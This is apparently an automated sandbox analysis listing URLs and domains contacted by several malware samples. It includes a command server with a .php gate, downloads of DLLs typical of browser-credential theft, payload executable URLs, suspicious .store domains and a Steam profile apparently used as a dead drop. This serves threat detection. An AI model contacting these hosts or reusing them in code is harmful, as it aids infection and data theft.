crisiwarny.store	unknown	unknown	false		high
fadehairucw.store	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
fadehairucw.store	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731325230045&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
founpiuer.store	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731325229335&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
presticitpo.store	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1731325227261&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1817CCD1391B64C11978D9E5387965A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=g9lbYg_WDvLO&l=e	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/(_	28d9ab8742.exe, 0000001F.00000003.3049054642.000000000185D000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.000000000185D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=h6HMV-M6cfAX&a	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9Xv_dG_70Ca&l=english	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206(	3daf81f16e.exe, 00000024.00000002.3289871087.000000000153B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.10.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://navygenerayk.store:443/api	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A85000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 0000001B.00000002.2882880413.00000000014C7000.00000004.00000020.00020000.00000000.sdmp, 3daf81f16e.exe, 00000024.00000002.3289871087.0000000001593000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.10.dr	false		high
http://www.valvesoftware.com/legal.htm	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp, 2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://www.instagram.com	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=1Zpka7DM_TWk&l=english	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=ij4Q-MLeHxnJ&l=engl	28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
http://185.215.113.16/steam/random.exeP&/	28d9ab8742.exe, 0000001A.00000003.2955566516.0000000000CE8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://s.ytimg.com;	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/:f	28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3198976239.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i.y.qq.com/n2/m/index.html	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://www.deezer.com/	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://web.telegram.org/	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=fK65ckRAjZr-&	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.s	28d9ab8742.exe, 0000001A.00000003.2890768591.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2875570125.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BKJKJEHJJDAKECBFCGID.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php37	28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000CD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=1vfyNnvUqkgy&l=engl	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2358800633.000000002327D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2492153777.0000000000FD5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848879088.0000000005737000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2980327399.0000000005ED9000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979808969.0000000005EE1000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr, ECGDBAEH.0.dr	false		high
https://avatars.fastly.steamstatic.com/fef49e7	28d9ab8742.exe, 0000001F.00000002.3051651389.00000000017BC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.00000000017BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	28d9ab8742.exe, 0000001A.00000003.2863482302.0000000005788000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2996995059.0000000005EC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	28d9ab8742.exe, 0000001A.00000003.2838131813.0000000005728000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966097346.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965902429.0000000005ECF000.00000004.00000800.00020000.00000000.sdmp, IJECBGIJ.0.dr	false		high
http://185.215.113.206/fB	28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C52000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lv.queniujq.cn	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://excel.new?from=EdgeM365Shoreline	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.10.dr	false		high
http://185.215.113.16/8x	28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://community.fa	28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.16/off/def.exe	28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=g2Zx7e0yBV_M&l=english	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185565427.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000002.3199336706.0000000000ACC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/zf	28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bard.google.com/	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apioa	28d9ab8742.exe, 0000001A.00000003.2933549588.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2955633341.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/g	3daf81f16e.exe, 00000024.00000002.3289871087.0000000001593000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2492153777.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.office.com	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php001	3daf81f16e.exe, 00000021.00000002.3090234093.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.live.com/mail/0/	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
https://help.steampowered.com/en/	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 00000023.00000003.3185493009.0000000000B08000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpg	3daf81f16e.exe, 00000024.00000002.3289871087.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2816962815.0000000000CBC000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2825204549.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952481863.000000000181C000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2952432072.0000000001858000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000002.3051651389.0000000001808000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.3048670954.0000000001808000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phph	3daf81f16e.exe, 00000021.00000002.3090234093.0000000001429000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/X	28d9ab8742.exe, 0000001A.00000002.3026569663.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://recaptcha.net/recaptcha/;	28d9ab8742.exe, 00000023.00000002.3198976239.0000000000AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidal.com/	2f2cd048-c5bb-4d93-aa71-754329f45479.tmp.8.dr	false		high
